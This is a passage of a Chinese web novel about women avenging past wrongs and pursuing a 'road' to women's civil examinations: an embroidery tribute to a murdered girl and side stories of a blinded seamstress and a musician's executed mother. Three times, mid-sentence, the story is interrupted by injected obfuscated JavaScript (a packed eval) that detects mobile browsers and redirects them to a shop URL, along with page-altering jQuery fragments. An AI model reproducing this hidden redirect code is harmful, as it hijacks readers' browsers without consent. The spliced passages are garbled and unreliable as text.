云娘的绣坊里,灯还亮着。 苏锦推门进去的时候,云娘正在教阿桑绣花。 她坐在窗边,手指摸着阿桑的手,一点一点教她走针。 “慢一点,再慢一点。针脚要匀,不能忽大忽小。” 阿桑满头是汗,手都在抖。 苏锦站在门口,看着她们。 云娘“听”见了动静,抬起头。 “谁?” 苏锦说:“我。” 云娘愣了一下。 “苏老板?你怎么来了?” 苏锦走进去,在云娘对面坐下。 阿桑识趣地退出去。 屋子里只剩下她们两个人。 云娘等了一会儿,没等到她说话,开口问:“苏老板,出什么事了?” 苏锦沉默了很久。 然后她从怀里摸出那支银簪,放在桌上。 云娘看不见,可她伸手摸了摸。 摸到那朵梅花,摸到那些磨平的纹路。 “这是……”她问。 苏锦说:“我妹妹的。” 云娘的手顿了一下。 苏锦说:“她叫苏绣。七岁被卖进青楼,八岁死了。” 她的声音很平静。 “那个害死她的人,叫张有德。现在是刑部郎中。他欠我很多钱,够他死十次。” 云娘听着,没有说话。 苏锦说:“我查过了。他有个女儿,今年十五岁,正要议亲。他想把她嫁进侯府,当侯府少夫人。” 她顿了顿。 “可他不配。” 云娘抬起头,“看”着她。 “你想干什么?” 苏锦说:“我要他死。死之前,还要让他看着,他女儿嫁不进去。他费尽心机攀上的那些人家,都要离他远远的。” 云娘沉默了一会儿。 然后她问:“那我能做什么?” 苏锦把银簪往她面前推了推。 “这簪子,是我妹妹唯一的遗物。我想请你,把它绣进什么东西里。” 云娘问:“绣什么?” 苏锦说:“绣一条路。女子科举的路。” 云娘的手微微抖了一下。 苏锦说:“我妹妹死的时候,才八岁。她没读过书,没上过学,连自己的名字都不会写。她这辈子,什么都没留下,就留下这根簪子。” 她的声音终于有了一丝颤抖。 “云娘,我要她这根簪子,留在那条路上。让以后走那条路的人,都能看见。让她们知道,有一个叫苏绣的丫头,替她们铺过路。” 云娘伸出手,摸到那支银簪。 摸得很慢,很仔细。 从簪头摸到簪尾,从梅花摸到簪尖。 摸完了,她握在手里。 “好。”她说,“我绣。” 苏锦看着她,眼眶红了。 “谢谢你。”她说。 云娘摇摇头。 “谢什么?”她说,“我也有想绣的人。” 两个女人坐在灯下,谁也没有说话。 蜡烛烧了一截,又烧了一截。 窗外,月亮升起来。 很圆,很亮。 四月初八。 云娘开始绣了。 她把那支银簪放在手边,时不时摸一下。摸那朵梅花,摸那些磨平的纹路。 她绣的是一条路。 一条从山脚蜿蜒到山顶的路。 路的两边,绣着梅花。 一朵一朵,开在路边。 她绣得很慢。 因为这是她这辈子,绣得最用心的一样东西。 阿桑在旁边看着,不敢出声。 她看见云娘的眼睛里,有什么东西在闪。 是泪。 可云娘没让它们掉下来。 她只是一针一针地绣。 绣那条路。 绣那些梅花。 绣那个叫苏绣的丫头。 四月初九。 苏锦没走。 她住在绣坊里,每天来看云娘绣。 看着那条路一点一点变长,看着那些梅花一朵一朵开放。 有一天,她忽然问:“云娘,你见过我妹妹吗?” 云娘摇摇头。 苏锦说:“她长得很像我。圆脸,大眼睛,笑起来有两个酒窝。” 云娘点点头。 苏锦说:“她最喜欢梅花。因为她名字里有个绣字,我娘说,绣就是绣花,绣梅花最好看。” 云娘的手顿了一下。 然后她继续绣。 绣那朵梅花。 绣得比之前更用心。 四月十一。 谢知微来了。 她站在绣坊里,看着云娘绣的那条路。 看了很久。 然后她问:“这是什么?” 苏锦说:“女子科举的路。” 谢知微愣了一下。 苏锦说:“我妹妹的簪子,绣在里面了。” 谢知微低头看去。 那条路蜿蜒曲折,从山脚到山顶。路的两边,开满了梅花。有一朵梅花,比别的都大,都亮。 那是苏绣的簪子绣成的。 谢知微看着那朵梅花,眼眶红了。 她伸出手,想摸一下,又缩回来。 “苏老板,”她说,“这条路,会有人走的。” 苏锦点点头。 “我知道。”她说。 四月十二。 白芷来了。 她站在绣坊里,看着那条路,看了很久。 然后她从药箱里拿出一个小布包,递给云娘。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334421|199218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这是什么?”云娘问。 白芷说:“是草药。碾碎了,可以染线。” 云娘问:“染什么颜色?” 白芷说:“血色。” 屋子里安静了一瞬。 白芷说:“那条路上,会有血。很多血。我们流的,她们流的。把那些血染进去,让后人知道,这条路是用什么铺的。” 云娘接过布包,握在手里。 “好。”她说。 四月十三。 谢霜寒来了。 她站在绣坊里,看着那条路,一言不发。 看了很久。 然后她拔出剑,割下一缕头发。 递给云娘。 “这是什么?”云娘问。 谢霜寒说:“头发。染进线里。” 云娘接过那缕头发。 黑色的,很粗,很硬。 和谢霜寒这个人一样。 云娘把它收起来。 “好。”她说。 四月十四。 花解语来了。 她抱着琴,站在绣坊里。 看着那条路。 然后她坐下来,开始弹琴。 《广陵散》。 琴音在屋子里回荡,飘出窗外,飘到街上。 云娘一边听,一边绣。 手指跟着琴音走,一针一针。 绣到那朵梅花的时候,琴音忽然高了起来。 像是有人在喊。 喊什么? 喊那些死了的人。 喊那些不甘心的人。 喊那个叫苏绣的丫头。 四月十五。 沈醉来了。 她拎着一坛酒,站在绣坊门口。 “绣完了吗?”她问。 云娘说:“快了。” 沈醉走进去,站在那条路前。 看了很久。 然后她打开酒坛,倒了一碗酒。 泼在那条路上。 “这是敬那些死人的。”她说。 她又倒了一碗,自己喝了。 “这是敬咱们这些活人的。” 云娘笑了。 “沈老板,”她说,“你这敬酒的方式,挺特别。” 沈醉也笑了。 “那是,”她说,“老娘就是特别。” 四月十六。 路绣完了。 七个人站在绣坊里,看着那条路。 那条从山脚蜿蜒到山顶的路。 路边开满了梅花。 有一朵梅花,比别的都大,都亮。 那是苏绣的簪子。 那是苏绣的命。 苏锦站在最前面,看着那朵梅花。 看了很久。 然后她伸出手,轻轻摸了一下。 “绣儿,”她轻声说,“姐姐给你铺了条路。以后走这条路的人,都会记得你。” 她的眼泪终于掉下来。 一滴,两滴,三滴。 落在那条路上。 落在那些梅花上。 落在苏绣的簪子上。 没有人说话。 没有人劝她。 她们只是站在那里,陪着她。 等她哭完。 等她站起来。 等她变成那个苏锦。 那个商中狐。 那个从不认输的女人。 苏锦哭了很久。 然后她擦干眼泪,转过身。 看着她们。 “谢谢。”她说。 沈醉拍拍她的肩。 “谢什么?”她说,“咱们不是一条船上的吗?” 苏锦点点头。 “对,”她说,“一条船上的。” 七个人走出绣坊。 外面,阳光正好。 照在她们身上,暖洋洋的。 苏锦忽然想起她娘说过的话。 娘说,金子硬,银子软。你们姐妹俩,一个硬一个软,正好。 她硬了。 妹妹软了。 软的被人捏死了。 可硬的,还活着。 还替她铺了条路。 苏锦抬起头,看着那太阳。 太阳很亮,亮得刺眼。 可她没躲。 就那么看着。 看着那太阳,像看着那条路。 那条通往山顶的路。 那条开满梅花的路。 那条她妹妹用命换来的路。 “绣儿,”她轻声说,“你看着。姐姐替你走。” 17. 云娘的盲眼之痛[番外] 云娘的盲眼之痛 承安十一年,四月十八。 京城,甜水巷。 云娘的绣坊里,那幅“女子科举路”已经绣完了。 可云娘没有停下来。 她又开始绣新的东西。 一块帕子。 很小,巴掌大。 白色的绢,没有任何花样。 阿桑在旁边看着,不知道她要绣什么。 云娘坐在窗边,手指摸着那块白绢。 摸了很久。 然后她拿起针,开始绣。 第一针。 她的手很稳。 可她的眼睛,那两只已经看不见的眼睛,忽然流下泪来。 一滴。 落在白绢上。 她没有擦。 只是继续绣。 阿桑不敢问。 她只是看着那滴泪,一点一点被针线盖住。 云娘的母亲,姓周,叫周芸娘。 芸娘是绣户出身,和她姥姥一样,从小就拿针。五岁能绣花,十岁能绣鸟,十五岁的时候,绣出来的东西拿到铺子里,能卖出好价钱。 十八岁那年,她嫁人了。 嫁的是个穷书生,姓云,叫云书翰。 书翰是个好人,读书用功,待人温和,对她也很好。可他命不好,考了十几年,连个举人都没考上。 芸娘不在乎。 她说,考不上就考不上,咱们有手有脚,饿不死。 她绣花养家,他读书做梦。 日子清贫,可也安稳。 后来他们有了女儿。 女儿取名叫云绣。 绣花的绣。 云绣三岁的时候,书翰病死了。 芸娘一个人拉扯女儿,一边绣花,一边教她。 她教女儿认字,教女儿绣花,教女儿做人。 她说,绣儿,你要记住,女子也要读书识字。不为了考功名,就为了将来不被骗,不被卖,不被人当傻子耍。 云绣问,娘,你读过书吗? 芸娘说,读过一点。你姥姥教的。 云绣问,姥姥是谁? 芸娘说,是个厉害的人。可惜死得早。 云绣没有再问。 她只是跟着娘学,学认字,学绣花,学做人。 十四岁那年,她绣了一幅“百鸟朝凤”。 拿到铺子里卖,掌柜的眼睛都直了。 他说,这手艺,整个京城也找不出第二个。 那天,她在铺子里遇见一个人。 是个穿绸衫的中年男人,说是哪个王府的管事。他看了她的绣品,问她想不想进王府当绣娘,吃皇粮,拿月钱。 她心动了。 回去跟娘商量,娘也心动。 她就去了。 王府真大,真好看。 她住在一间小屋子里,每天绣花,绣不完的花。 她以为这就是好日子了。 直到那一天。 那天,王府里来了贵客,是个什么大人。大人看了她绣的东西,问是谁绣的。管事说是新来的那个丫头,手巧得很。 大人说,让她来,我看看。 她被叫去了。 大人看了她半天,问她会绣字吗? 她说会。 大人说,那你会绣“女子科举”四个字吗? 她愣住了。 她不知道什么叫“女子科举”。她只知道科举是男子的事,跟女子没关系。 大人说,你不知道?那就算了。 她回去了。 可她心里一直想着那四个字。 女子科举。 女子也能科举吗?女子也能读书考试当官吗?她从来没想过。 她问别的绣娘,别人都摇头,说不知道,别瞎打听。 可她还是忍不住想。 那天晚上,她睡不着,起来绣了一方帕子。 帕子上绣了四个字:女子科举。 绣完了,她自己看着,觉得好看。 第二天,有人来了。 是王府的侍卫。 他们把她从绣房里拖出来,按在地上,问她那方帕子是谁让她绣的。 她说没人让,是她自己绣着玩的。 他们不信。 他们说,这是谋反,这是大逆不道,这是要杀头的。 她吓得浑身发抖,说我真的不知道,我就是觉得这四个字好看。 他们说,好看?那就让你以后都看不见。 然后他们把她的眼睛挖了。 她惨叫,她挣扎,她求饶。 没有用。 她的眼睛没了。 后来她被赶出王府,像个死人一样躺在街上。 有人认出她,把她送回家。 她娘看见她的样子,当场就晕过去了。 她躺在床上,蒙着眼睛,躺了三个月。 三个月里,她想过死。很多次。 可她娘看着她,天天哭,天天守着她,她死不了。 三个月后,她拆了蒙眼的布。 眼前一片黑。 她再也看不见了。 她娘抱着她,哭着说,绣儿,娘的绣儿,你怎么这么傻…… 她靠在她娘怀里,没有哭。 她只是问了一句话。 “娘,那四个字,真的那么该死吗?” 她娘没有回答。 只是抱着她,抱得更紧了。 那天晚上,她娘坐在她床边,握着她的手。 “绣儿,”她娘说,“你的眼睛没了,可娘还在。娘替你看这世道。” 她问:“看什么?” 她娘说:“看那些人怎么死,看这世道怎么变。” 她沉默了很久。 然后她说:“娘,我想学绣花。” 她娘愣住了。 “你……你都看不见了,怎么绣?” 她说:“用手。” 她娘哭了。 可她答应了。 从那天起,她开始学绣花。 用手学。 一开始绣得乱七八糟,针扎得满手都是血。可她不死心,一遍一遍练。练了一年,她能绣出直线了。练了两年,她能绣出花了。练了三年,她绣出来的东西,比明眼人还好。 怎么做到的? 用手摸。 她绣的时候,先用手指摸布料,记住布的纹理。再摸花样,记住花样的样子。然后一针一针绣,绣一针摸一针,绣错了就拆了重来。 慢,太慢了。 可她有的是时间。 她娘也老了。 那些年,她娘天天陪着她,给她穿针,给她理线,给她讲外面的世道。 她娘说,绣儿,你知道吗,那个挖你眼睛的人,死了。 她问,怎么死的? 她娘说,被人杀了。不知道是谁杀的。反正是死了。 她沉默了一会儿。 然后她说,死得好。 她娘说,还有那个大人,被贬官了,发配到边关去了。 她问,他做了什么? 她娘说,贪污受贿,被人告发了。 她又说,死得好。 她娘看着她,忽然问,绣儿,你恨吗? 她说,恨。 她娘问,恨谁? 她说,恨这世道。 她娘沉默了很久。 然后她说,娘也恨。 她娘死的那年,她三十岁。 她娘临死前,拉着她的手说,绣儿,娘这辈子,没给你什么。就给你一句话。 她问,什么话? 她娘说,活下去。活着,替娘看这世道怎么变。 她握着娘的手,点点头。 娘,我记住了。 她娘笑了。 笑着笑着,手就松开了。 她娘死了。 她一个人活着。 后来她开了这家绣坊,教人绣花。来学的都是穷人家的姑娘,没活路的姑娘,跟她当年一样。 她教她们绣花,也教她们别的。 比如,怎么在绣布里藏消息。 比如,怎么用绣品传递密信。 比如,怎么让那些看不起她们的人,有一天死在她们绣的花里。 她一直记得她娘的话。 活着,替娘看这世道怎么变。 她看了二十年。 看着那些人死,看着那些人倒,看着那些人被新的取代。 可世道没变。 还是那个世道。 女子还是不能读书,不能科举,不能入仕。 女子还是只有三条路——嫁人、为奴、进庵堂。 她等了二十年,什么都没等到。 直到那天。 腊月二十八,风月楼,听梅阁。 七个女人聚在一起。 谢知微说,咱们给这世道换个活法。 她听了,笑了。 等了二十年,终于等到了。 现在,那幅“女子科举路”绣完了。 那是她们的路。 也是她娘的路。 也是她的路。 云娘继续绣着那块帕子。 很小,巴掌大。 白色的绢。 她绣得很慢。 一针一针,像在数日子。 数那些看不见的日子。 数那些等着的日子。 数那些盼着的日子。 阿桑在旁边看着,终于忍不住问:“云娘,您绣的是什么?” 云娘说:“梅花。” 阿桑愣了一下。 “梅花?” 云娘点点头。 “一朵梅花。” 阿桑不明白。 云娘没有解释。 她只是继续绣。 绣那朵梅花。 一朵梅花,五片花瓣。 她绣了五针。 一针,是娘。 一针,是自己。 一针,是那些死去的姑娘。 一针,是那些还活着的姑娘。 一针,是那条路。 绣完最后一针,她停下来。 手指上全是血。 那朵梅花,被血染红了。 红得像火。 红得像那些死了的人的眼睛。 红得像她娘最后看她的眼神。 云娘把那块帕子捧在手心里,摸着那朵梅花。 摸了很久。 然后她笑了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那是苏绣的簪子绣成的。 也是云娘的血染成的。 苏锦站在那幅绣品前,看着那朵梅花。 看了很久。 然后她转过身,看着云娘。 “云娘,”她说,“谢谢你。” 云娘摇摇头。 “谢什么?”她说,“我也是替自己绣的。” 沈醉拎着酒坛走过来。 “行了,”她说,“都别谢来谢去的了。喝酒。” 她给每人倒了一碗酒。 七碗酒,七个人。 谢知微举起碗。 “诸位,”她说,“这条路,咱们铺好了。接下来,该走了。” 沈醉问:“往哪儿走?” 谢知微说:“往那条路上走。” 沈醉笑了。 “好,”她说,“那就走。” 七碗酒碰在一起。 窗外,阳光正好。 照在那幅绣品上,照在那些梅花上。 那些梅花,像是活了。 一朵一朵,在阳光下闪闪发光。 苏锦看着那朵最大的梅花,忽然说:“绣儿,你看见了吗?” 没有人回答。 可她知道,她妹妹看见了。 一定看见了。 云娘也看着那幅绣品。 虽然她看不见,可她心里看得见。 她看见那条路,蜿蜒到山顶。 她看见那些梅花,开满了路边。 她看见她娘,站在山顶上,正在朝她招手。 她娘说,绣儿,你来了。 她点点头。 娘,我来了。 带着你的路。 带着你的梦。 带着那些姑娘们的命。 她娘笑了。 笑得和当年一样。 四月二十一。 云娘把那块帕子烧了。 火光照在她脸上,暖暖的。 她看着那火光,虽然看不见,可她能感觉到。 那朵梅花,在火里燃烧。 她娘的脸,在火里出现。 又消失。 她娘说,绣儿,娘走了。 她说,娘,您走好。 她娘笑了。 然后就没了。 只剩下灰烬。 云娘把那些灰烬收起来,装进一个小布袋里。 贴身放着。 阿桑问:“云娘,那是什么?” 云娘说:“是我娘。” 阿桑愣住了。 云娘说:“她在我心里。也在那幅绣品里。也在那条路上。” 她站起来,走出门。 外面,阳光很好。 照在她身上,暖洋洋的。 她抬起头,对着那太阳。 虽然看不见,可她觉得,今天的天,特别亮。 亮得像她娘的眼睛。 亮得像那些梅花。 亮得像那条路。 她笑了。 笑着笑着,眼泪又流下来。 可这一次,是甜的。 18. 花解语的母亲之死[番外] 番外花解语的母亲之死 承安十一年,四月二十三。 夜。 教坊司的院子里,月光如水。 花解语坐在窗前,面前摆着那架桐木琴。 她没有弹。 只是看着。 看着那琴弦,一根一根,在月光下泛着冷光。 这架琴是她娘留给她的。 传了三代。 琴身上有一道浅浅的裂痕,那是她娘死的时候,血溅上去的地方。 二十年了。 那道裂痕还在。 血早就干了,可那痕迹,怎么都擦不掉。 就像她心里的那些事。 怎么都忘不掉。 花解语伸出手,轻轻拨了一下琴弦。 “嗡——” 一声低鸣,在空荡荡的屋子里回荡。 她听着那声音,想起她娘。 想起她娘最后一次弹琴的样子。 建元十九年,腊月。 那年她五岁。 她娘叫花月容,是前朝留下来的女官。前朝亡了,新朝换了皇帝,可她娘还在宫里当差。因为她的琴弹得好,太后喜欢听。 她们住在皇城边上一条小巷子里,一间小小的屋子。 屋子很小,可很干净。 她娘每天去宫里当差,晚上回来教她弹琴。 她娘说,解语,你记住,这架琴是咱们家的传家宝。传了三代了。以后要传给你,你再传给你女儿。 她问,娘,我没有女儿怎么办? 她娘笑了,那就传给你徒弟。 她问,我没有徒弟怎么办? 她娘说,那就捐给寺庙,让佛祖保佑。 她笑了,娘真傻。 她娘也笑了,笑着笑着,忽然抱住她。 解语,娘这辈子,没什么本事。就会弹琴。你好好学,将来靠这琴,能活下去。 她不懂什么叫“活下去”。 她只知道,娘抱她的时候,抱得很紧。 紧得她有点疼。 那年腊月二十三,小年夜。 她娘回来得很晚。 回来的时候,脸色很白。 她问,娘,你怎么了? 她娘说,没事,累了。 那天晚上,她娘没有教她弹琴,只是抱着她,坐了很久。 半夜,她醒了。 听见有人在说话。 她睁开眼,看见她娘坐在桌前,对着一张纸,在写什么。 她问,娘,你在干什么? 她娘回过头,看着她。 月光照在她娘脸上,白得像纸。 她娘说,解语,过来。 她爬起来,走过去。 她娘把她抱在腿上,把手里的纸给她看。 纸上画着一些圈圈点点,像蝌蚪一样。 她看不懂。 她娘说,这是乐谱。 她问,乐谱不是这样的呀? 她娘说,这不是普通的乐谱。这是密语。 她问,什么叫密语? 她娘说,就是藏在曲子里的话。 她问,藏给谁? 她娘沉默了一会儿。 然后说,藏给该知道的人。 她不懂。 可她记住了。 那天晚上,她娘教她认那些密语。 一个音,对应一个字。 一段曲,对应一句话。 她娘说,解语,你要记住,这首曲子叫《广陵散》。那些密语,就藏在里面。 她问,为什么要藏? 她娘说,因为有些话,不能让别人听见。 她问,那谁能听见? 她娘说,该听见的人。 她点点头。 虽然不懂,可她记住了。 腊月二十四。 她娘没有去宫里。 她在家陪她,教她弹琴,教她认字,教她那些密语。 她问,娘,你今天怎么不去当差? 她娘说,告假了。 她问,为什么? 她娘说,想陪你。 她笑了。 娘真好。 腊月二十五。 她娘还是没去。 她有点奇怪,可她没问。 因为她娘一直在教她,教得很认真,好像要把一辈子的事都教完一样。 腊月二十六。 那天晚上,有人敲门。 她娘去开门。 门外站着几个穿黑衣的人。 她娘的脸色一下子白了。 可她没慌。 她转过身,看着她,笑了一下。 “解语,”她说,“回屋去。” 她不懂,可她听话,回了屋。 门关上了。 她躲在门后,从门缝里往外看。 她看见她娘站在院子里,和那些黑衣人对峙。 她听见有人在说话。 “花月容,你的事发了。” 她娘说:“什么事?” “密信。你传的那些密信。” 她娘沉默了一会儿。 然后她说:“我不知道你们在说什么。” “不知道?搜!” 那些人冲进屋子,翻箱倒柜。 她躲在门后,不敢出声。 她看见一个人翻到她娘的箱子,从里面拿出一张纸。 那张纸上,画着那些圈圈点点。 是乐谱。 是藏着密语的乐谱。 那个人把纸递给领头的人。 领头的人看了一眼,笑了。 “花月容,这是什么?” 她娘的脸色很白。 可她没有慌。 她只是说:“乐谱。我教女儿的。” “乐谱?你当我们是三岁小孩?” 她娘不说话。 领头的人走到她娘面前,低头看着她。 “花月容,你是前朝留下的老人。陛下留你一命,是看你老实。可你不老实。” 她娘还是不说话。 领头的人挥了挥手。 “带走。” 几个人冲上来,扭住她娘的胳膊。 她娘没有挣扎。 只是回过头,往她躲的方向看了一眼。 那一眼,她一辈子忘不掉。 她娘的眼神,很平静。 平静得像一潭死水。 可她从那一潭死水里,看见了东西。 看见了不舍。 看见了放心。 看见了那句话。 “解语,活下去。” 然后她娘被带走了。 她躲在门后,捂住自己的嘴,不让自己发出声音。 眼泪流了满脸。 可她不敢动。 一动都不敢动。 因为娘说,活下去。 她得活着。 腊月二十七。 她一个人在家。 饿了吃冷馒头,渴了喝凉水。 晚上不敢睡觉,缩在角落里,抱着那架琴。 她不知道娘去哪儿了。 她只知道,娘让她活着。 腊月二十八。 有人敲门。 她不敢开。 可门被人推开了。 进来的是隔壁的阿婆。 阿婆看见她,眼泪就下来了。 “解语,你娘……你娘没了……” 她愣住了。 阿婆说,她娘被押到菜市口,赐死了。 罪名是“传密信,通敌叛国”。 她听着,没有哭。 阿婆说,解语,你往后怎么办? 她说,不知道。 阿婆说,跟我走吧。我给你找个地方。 她摇摇头。 她指着那架琴。 “我要带着它。” 阿婆看着她,叹了口气。 “好,好。带着,带着。” 她抱着那架琴,跟着阿婆走了。 后来阿婆把她送到教坊司。 教坊司的嬷嬷问她叫什么,她说花解语。 嬷嬷问她娘是谁,她说不记得了。 嬷嬷问她会不会弹琴,她说会。 嬷嬷说,那你以后就弹琴。 她就在教坊司里弹琴,弹了二十年。 从五岁弹到二十五岁。 她一直留着那架琴。 留着那道裂痕。 留着那些密语。 等着那个该听见的人。 承安十一年,腊月二十八。 她等到了。 那天晚上,风月楼,听梅阁。 七个人聚在一起。 她坐在角落里,抱着那架琴。 谢知微说话的时候,她没有听。 她在看谢知微。 看那个女人,白发如雪,眼神如刀。 她忽然想起她娘说过的话。 “解语,曲中有路。” 那条路,是不是通向这个人? 她不知道。 可她决定赌一把。 她开始弹琴。 《广陵散》。 把那些藏了二十年的密语,一个一个弹出来。 她不知道有没有人听,不知道听的人是谁。 可她相信,那个人在听。 因为那是她娘用命传下来的。 琴音落下的时候,她看见谢知微的眼睛亮了。 亮得像刀。 那一瞬间,她知道。 她等到了。 承安十一年,四月二十四。 谢知微来了。 她一个人,走进花解语的屋子。 花解语正在弹琴。 听见脚步声,她没有停。 继续弹。 谢知微没有说话,只是站在她身后,听着。 一曲终了。 花解语抬起头,看着她。 “谢相,”她说,“你来了。” 谢知微点点头。 “你弹的《广陵散》,我听见了。” 花解语的眼睛红了。 二十年了。 她等了二十年,终于等到这句话。 谢知微在她对面坐下。 “你娘传的消息,我都收到了。”她说,“那些密语,我破译了一部分。可还有一部分,我解不开。” 花解语愣了一下。 “解不开?” 谢知微点点头。 “你娘用的密语,是两层加密。第一层我解了,第二层需要另一把钥匙。” 花解语问:“什么钥匙?” 谢知微看着她。 “你。” 花解语愣住了。 谢知微说:“你娘把钥匙藏在你身上。藏在你的琴里。藏在你弹琴的指法里。” 花解语的手微微发抖。 她低头看着那架琴。 看着那道裂痕。 看着她娘的血。 二十年了。 她娘把钥匙藏在她身上,她竟然不知道。 谢知微说:“你再弹一遍。我要看着你弹。” 花解语点点头。 手指搭上琴弦。 《广陵散》再次响起。 这一次,谢知微没有听曲子。 她在看花解语的手指。 看那些起落,那些停顿,那些轻重。 看到某一处,她的眼神忽然一凝。 “停。” 花解语停下来。 谢知微说:“刚才那一段,再弹一遍。” 花解语重弹。 谢知微看着她的手指,嘴里念念有词。 弹完这一段,谢知微的脸色变了。 花解语问:“怎么了?” 谢知微看着她,一字一字说: “北狄将反,女科是诱饵。” 花解语愣住了。 北狄将反? 女科是诱饵? 什么意思? 谢知微站起来,在屋里走来走去。 “你娘传的消息,说的是这个。北狄要造反了,可他们不是真造反。他们是假装造反,引我们出兵。等我们出兵了,他们就绕道偷袭京城。” 花解语的脸色也变了。 “那女科呢?” 谢知微停下来,看着她。 “女科是皇帝的诱饵。” 花解语不明白。 谢知微说:“皇帝想用女子科举,引我们这些人出头。等我们出头了,他就可以名正言顺地杀我们。‘勾结乱党,图谋不轨’——这个罪名,他早就准备好了。” 花解语的手握紧。 “所以……所以我们做的事,都在他算计里?” 谢知微摇摇头。 “不全在。他不知道你娘的密信。他不知道我们早就知道北狄要反。这是他算漏的一点。” 花解语看着她。 “那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334423|199218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们怎么办?” 谢知微沉默了一会儿。 然后她说:“将计就计。” 花解语问:“怎么将计就计?” 谢知微说:“让皇帝以为我们上当了。让他以为我们真的去搞女科了。等北狄兵临城下的时候,我们——先动手。” 花解语看着她那双眼睛。 那双眼睛里,全是冷。 冷得像冬天的雪。 可那冷底下,有火。 烧着的火。 她忽然想起她娘。 想起她娘临死前的眼神。 那眼神里,也有这样的火。 她点点头。 “好。”她说,“我听你的。” 谢知微看着她,忽然伸出手,在她肩上拍了拍。 “你娘是个好人。”她说,“她救了很多人的命。” 花解语的眼泪掉下来。 二十年了。 她终于听见有人这样说。 谢知微说:“那些密信,我整理出来了。一共有三十七封。每一封都记着北狄人的动向,记着朝中那些奸细的名字,记着那些要死的人。” 她顿了顿。 “你娘用自己的命,换这些消息传出来。她救了很多人。” 花解语哭着点头。 谢知微说:“她的事,我会写进史书里。” 花解语抬起头,看着她。 “真的?” 谢知微点点头。 “真的。” 花解语笑了。 笑着笑着,眼泪流得更凶了。 可她不在乎。 她只是笑着,哭着,看着她娘的那架琴。 看着那道裂痕。 看着她娘的血。 “娘,”她轻声说,“你听见了吗?有人记得你了。” 四月二十五。 花解语去找沈醉。 沈醉正在听梅阁喝酒,看见她进来,愣了一下。 “怎么了?”沈醉问,“眼睛这么红?” 花解语走过去,在她对面坐下。 “师姐,”她说,“我想跟你说件事。” 沈醉放下酒碗。 “说。” 花解语把谢知微说的话,一五一十告诉了她。 沈醉听完,沉默了很久。 然后她笑了。 笑得很冷。 “好啊,”她说,“好一个皇帝。好一个诱饵。” 她站起来,走到窗边,推开窗。 外面是灰蒙蒙的天,快要下雨了。 她看着那天空,忽然说:“花解语,你娘是个英雄。” 花解语愣了一下。 沈醉回过头,看着她。 “真的。我师父说过,你娘是她见过的最厉害的女人。她一个人,在宫里待了那么多年,传了那么多消息,救了那么多人。最后死了,也没出卖任何人。” 花解语的眼泪又掉下来。 沈醉走过去,在她身边坐下。 “行了,”她说,“别哭了。你娘死了,可你还活着。活着的人,得替死了的人办事。” 花解语擦干眼泪。 “师姐说得对。” 沈醉笑了。 “那是,”她说,“师姐嘛,当然对。” 四月二十六。 七个人又聚在风月楼。 谢知微把密信的事说了。 所有人都沉默了。 苏锦先开口。 “所以,咱们搞女科,正中皇帝下怀?” 谢知微点点头。 “可他不知道的是,咱们早就知道北狄要反。咱们可以在北狄来的时候,先一步动手。” 谢霜寒问:“怎么动手?” 谢知微说:“你带人去边关,假装防备北狄。等北狄真来的时候,你不要硬拼,放他们进来。” 谢霜寒的眼神一凛。 “放进来?那京城……” 谢知微说:“京城有我们。” 谢霜寒看着她,看了很久。 然后她点点头。 “好。” 白芷问:“那我呢?” 谢知微说:“你准备药。很多药。能毒死人的,能迷晕人的,能让人走不动路的。” 白芷点点头。 苏锦问:“我呢?” 谢知微说:“你准备钱。很多钱。等事情完了,需要很多钱来收尾。” 苏锦笑了。 “钱我有,”她说,“就怕你花不完。” 云娘问:“我呢?” 谢知微说:“你绣的那些东西,可以传消息。等动起来的时候,需要你把消息传到各个地方。” 云娘点点头。 花解语问:“我呢?” 谢知微看着她。 “你弹琴,”她说,“用你娘的密语,告诉那些该知道的人——准备好了。” 花解语的手微微发抖。 可她点头了。 “好。” 沈醉最后一个问:“我呢?” 谢知微看着她,笑了。 “你,”她说,“带着你的酒,等我们凯旋。” 沈醉也笑了。 “行,”她说,“这活儿我擅长。” 七个人,七碗酒。 碰在一起。 窗外,雨终于落下来。 哗啦啦的,打在窗纸上。 可那雨声,听起来不像哭。 像笑。 四月二十七。 花解语一个人坐在屋子里,对着那架琴。 她伸出手,摸着那道裂痕。 摸得很慢,很仔细。 从这头摸到那头。 二十年了。 这道裂痕,陪了她二十年。 她娘的血,也在这道裂痕里。 她忽然想起她娘说过的那句话。 “解语,曲中有路。” 那条路,她找到了。 通往谢知微的路。 通往那六个女人的路。 通往那个新世道的路。 她笑了。 手指搭上琴弦。 开始弹。 《广陵散》。 这一次,不是密语。 只是曲子。 给她娘听的。 窗外,雨还在下。 琴音和雨声混在一起,飘出去,飘到天上。 飘到她娘那儿。 她娘一定听见了。 19. 谢知微的权力污点[番外] 谢知微的权力污点 承安十一年,四月二十八。 夜。 皇宫,值房。 谢知微一个人坐着。 案上的奏折堆了三尺高,都是今天送来的。她没有批,只是坐在那里,看着那盏灯。 灯花爆了一声,又爆了一声。 她一动不动。 手边放着一本书。 《女诫》。 封面已经翻旧了,边角卷起来,黄得发脆。 那是她娘的遗物。 